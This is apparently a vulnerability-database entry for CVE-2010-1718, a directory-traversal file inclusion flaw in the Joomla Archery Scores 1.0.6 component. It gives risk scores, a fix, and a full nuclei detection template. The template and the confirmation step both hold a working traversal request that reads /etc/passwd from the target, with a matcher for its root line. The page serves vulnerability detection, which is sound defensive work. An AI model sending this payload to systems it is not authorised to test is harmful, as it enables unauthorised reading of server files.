Joomla! Component Archery Scores 1.0.6 - Local File Inclusion

mediumseverity

6.8CVSS score

9.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in archeryscores.php in the Archery Scores (com_archeryscores) component 1.0.6 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Archery Scores components.

Fix

Update to the latest version of Joomla! Component Archery Scores or apply the patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1718 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1718

info:
  name: Joomla! Component Archery Scores 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in archeryscores.php in the Archery Scores (com_archeryscores) component 1.0.6 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Archery Scores components.
  remediation: |
    Update to the latest version of Joomla! Component Archery Scores or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/12282
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1718
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1718
    cwe-id: CWE-22
    epss-score: 0.09455
    epss-percentile: 0.95466
    cpe: cpe:2.3:a:lispeltuut:com_archeryscores:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lispeltuut
    product: com_archeryscores
  tags: cve,cve2010,joomla,lfi,edb,lispeltuut,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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